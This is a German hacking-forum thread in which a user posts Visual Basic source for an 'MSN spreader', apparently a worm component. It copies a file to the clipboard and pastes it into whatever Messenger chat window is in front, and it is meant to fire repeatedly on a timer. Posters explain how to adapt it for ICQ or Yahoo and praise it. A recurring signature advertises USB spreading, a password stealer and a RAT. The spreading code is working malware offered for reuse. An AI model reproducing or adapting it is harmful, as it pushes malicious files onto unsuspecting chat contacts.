Seite 1 von 3 123 LetzteLetzte
Ergebnis 1 bis 10 von 24
  1. #1
    Macht&Ehre
    Registriert seit
    24.07.2008
    Beiträge
    657

    Standard [Source] MSN Spreading Example by Slayer616 {ALL VERSIONS}

    This is a small Example how to Spread Files over MSN easily. It should work with all MSN Versions.
    You CAN modify it to a ICQ/Yahoo Spreader in a few Seconds (Change the Classname)!

    Don't forget to Credit if you use it!

    Have phun with it...


    [Kein Bock auf Deutsch zu übersetzen...]

    '--------------------------------------------------------------------------------------
    '--------------------MSN SPREADING EXAMPLE by Slayer616--------------------
    '--------------------------------------------------------------------------------------
    '-------------------visit us @Scene-Coderz.com / HackHound.org--------------
    'Author: Slayer616
    'Credits: D3x (GetForegroundWindow)
    ' Tim Misset (Copy File to Clipboard)
    'Special Thanks: Syntaxx_Err, omc, steve, Paran0id, Syler, Zacherl, Scott
    ' Who!, -silent-, Krippler, carb0n, whole HH staff & VIP
    ' whole SC-Team and other friends an supporters
    '--------------------------------------------------------------------------------------
    'Example:
    'Use a Timer with a big Intervall
    'on Tick set this: Call Spread
    'Change the FilePath to your FilePath
    'Have phun with it!
    '--------------------------------------------------------------------------------------
    '----------------DON'T FORGET TO CREDIT IF YOU USE THIS SAMPLE!-------
    '-------------------------------------------------------------------------------------
    Private Declare Sub Sleep Lib "kernel32" (ByVal lngMilliseconds As Long)
    Public Type POINTAPI
    x As Long
    y As Long
    End Type
    Public Declare Function GetForegroundWindow Lib "user32" () As Long
    Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal Hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
    Private Declare Function DragQueryFile Lib "shell32.dll" Alias "DragQueryFileA" (ByVal hDrop As Long, ByVal UINT As Long, ByVal lpStr As String, ByVal ch As Long) As Long
    Private Declare Function GlobalAlloc Lib "kernel32" (ByVal wFlags As Long, ByVal dwBytes As Long) As Long
    Private Declare Function GlobalLock Lib "kernel32" (ByVal hMem As Long) As Long
    Private Declare Function GlobalUnlock Lib "kernel32" (ByVal hMem As Long) As Long
    Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
    Private Declare Function EmptyClipboard Lib "user32" () As Long
    Private Declare Function OpenClipboard Lib "user32" (ByVal Hwnd As Long) As Long
    Private Declare Function CloseClipboard Lib "user32" () As Long
    Private Declare Function SetClipboardData Lib "user32" (ByVal wFormat As Long, ByVal hMem As Long) As Long
    Private Declare Function GetClipboardData Lib "user32" (ByVal wFormat As Long) As Long
    Private Declare Function IsClipboardFormatAvailable Lib "user32" (ByVal wFormat As Long) As Long
    Private Const GHND = &H42
    Private Const CF_HDROP = &HF
    Private Const GET_DROP_COUNT = &HFFFFFFFF
    Private Type DROPFILES
    pFiles As Long
    pt As POINTAPI
    fNC As Long
    fWide As Long
    End Type
    Dim iCounter As Integer
    Dim DF As DROPFILES
    Dim strFiles As String
    Dim hGlobal As Long
    Dim lpGlobal As Long
    Dim hDrop As Long
    Dim lFiles As Long
    Dim strFile As String
    Public Function Spread(PathToFile As String)
    Dim cClass As String
    Dim cWind As Long
    cClass = Space(255)
    cWind = GetForegroundWindow
    cWind = GetClassName(cWind, cClass, 255)
    cClass = Left(cClass, cWind)
    If Trim(cClass) = "IMWindowClass" Then
    Sleep 500
    CopyFileToMem PathToFile
    PastFile
    CopyFileToMem PathToFile
    PastFile
    Call SendKeys("^v")
    End If
    End Function
    Function CopyFileToMem(PathToTehFileS As String)
    If OpenClipboard(frmMain.Hwnd) = 0 Then
    CloseClipboard
    Exit Function
    End If
    EmptyClipboard
    strFiles = PathToTehFileS & vbNullChar
    hGlobal = GlobalAlloc(GHND, Len(DF) + Len(strFiles))
    If hGlobal Then
    lpGlobal = GlobalLock(hGlobal)
    DF.pFiles = Len(DF)
    Call CopyMem(ByVal lpGlobal, DF, Len(DF))
    Call CopyMem(ByVal (lpGlobal + Len(DF)), ByVal strFiles, Len(strFiles))
    Call GlobalUnlock(hGlobal)
    SetClipboardData CF_HDROP, hGlobal
    End If
    CloseClipboard
    End Function
    Function PastFile()
    If IsClipboardFormatAvailable(CF_HDROP) = 0 Then Exit Function
    If OpenClipboard(frmMain.Hwnd) = 0 Then
    CloseClipboard
    Exit Function
    End If
    hDrop = GetClipboardData(CF_HDROP)
    lFiles = DragQueryFile(hDrop, -1&, "", 0)
    strFile = Space(260)
    For iCounter = 0 To lFiles - 1
    Call DragQueryFile(hDrop, iCounter, strFile, Len(strFile))
    Next
    CloseClipboard
    End Function

  2. Folgende Benutzer haben sich für diesen Beitrag bedankt:

    PP.at (19.06.2010), Southpark (19.06.2010)

  3. #2
    0x4D5A5045 Avatar von snify
    Registriert seit
    23.12.2008
    Beiträge
    215

    Standard

    geht doch einfacher mit der Messenger API, oder täusch ich mich?
    NEU *USB SPREADING*
    NEU localsteam *fixed* [stealt alle Usernamen+PW]
    YEAAAH ICH BIN BETA TESTER VON APOCALYPSE RAT
    *NEU ACCOUNT EXPANDER PRIVATE* Infos via PM
    www.snify.6x.to ---> wieder online

  4. #3
    Macht&Ehre
    Registriert seit
    24.07.2008
    Beiträge
    657

    Standard

    Messenger API läuft nicht mit Windows Live Messenger 8.5/9.
    Außerdem musst du nur Classname von ICQ Chat Windows ablesen und mit IMWindowClass ersetzen und du hast einen ICQ Spreader

  5. #4
    0x4D5A5045 Avatar von snify
    Registriert seit
    23.12.2008
    Beiträge
    215

    Standard

    na klar läuft die Messenger API noch unter Windows Live Messenger (die war immer schon die gleiche...)
    Beispiel...
    $o_MSN = ObjCreate("Messenger.UIAutomation.1")
    $o_MSN.Signout()
    $o_MSN.Logoff()$o_MSN.gethistory()

    usw...
    NEU *USB SPREADING*
    NEU localsteam *fixed* [stealt alle Usernamen+PW]
    YEAAAH ICH BIN BETA TESTER VON APOCALYPSE RAT
    *NEU ACCOUNT EXPANDER PRIVATE* Infos via PM
    www.snify.6x.to ---> wieder online

  6. #5
    Macht&Ehre
    Registriert seit
    24.07.2008
    Beiträge
    657

    Standard

    Nein tuts nicht hole dir Windows Live Messenger 9.0 (2009) und schau nach!
    Wie gesagt man kann es anpassen, MSN API Lib kriegst du niemals zum AllAroundSpreader

  7. #6
    0x4D5A5045 Avatar von snify
    Registriert seit
    23.12.2008
    Beiträge
    215

    Standard

    komisch... bei mir gehts (hab aber WLM 8)
    NEU *USB SPREADING*
    NEU localsteam *fixed* [stealt alle Usernamen+PW]
    YEAAAH ICH BIN BETA TESTER VON APOCALYPSE RAT
    *NEU ACCOUNT EXPANDER PRIVATE* Infos via PM
    www.snify.6x.to ---> wieder online

  8. #7
    CIH-Virus Avatar von PAN
    Registriert seit
    16.08.2008
    Beiträge
    493

    Standard

    Mein gott ihr habt immer was zu sagen oder ?!?
    Der code ist Vernünftig er Funktioniert und jetzt seit still und wenigstens ein wenig Dankbar
    Danke Slayer

  9. #8
    Tsutomu Shimomura Avatar von -=Player=-
    Registriert seit
    15.02.2006
    Beiträge
    1.549

    Standard

    das ist leider das problem,
    viele user wissen garnicht zu schätzen solche sachen zu verfügung gestellt zu bekommen und was für arbeit für einen coder dahinter steckt.

  10. #9
    0x4D5A5045 Avatar von snify
    Registriert seit
    23.12.2008
    Beiträge
    215

    Standard

    ok... slayer... gute Arbeit ;-)
    vielleicht schaffst du es ja auch noch, dass du eine Art Builder erstellest für Files und dann machst du private Versionen drauß oder so ^^ xDD
    NEU *USB SPREADING*
    NEU localsteam *fixed* [stealt alle Usernamen+PW]
    YEAAAH ICH BIN BETA TESTER VON APOCALYPSE RAT
    *NEU ACCOUNT EXPANDER PRIVATE* Infos via PM
    www.snify.6x.to ---> wieder online

  11. #10
    CIH-Virus Avatar von PAN
    Registriert seit
    16.08.2008
    Beiträge
    493

    Standard

    Kann ich den mit deinem Copyright in einem Anderen Board Reinstellen ?

Seite 1 von 3 123 LetzteLetzte

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •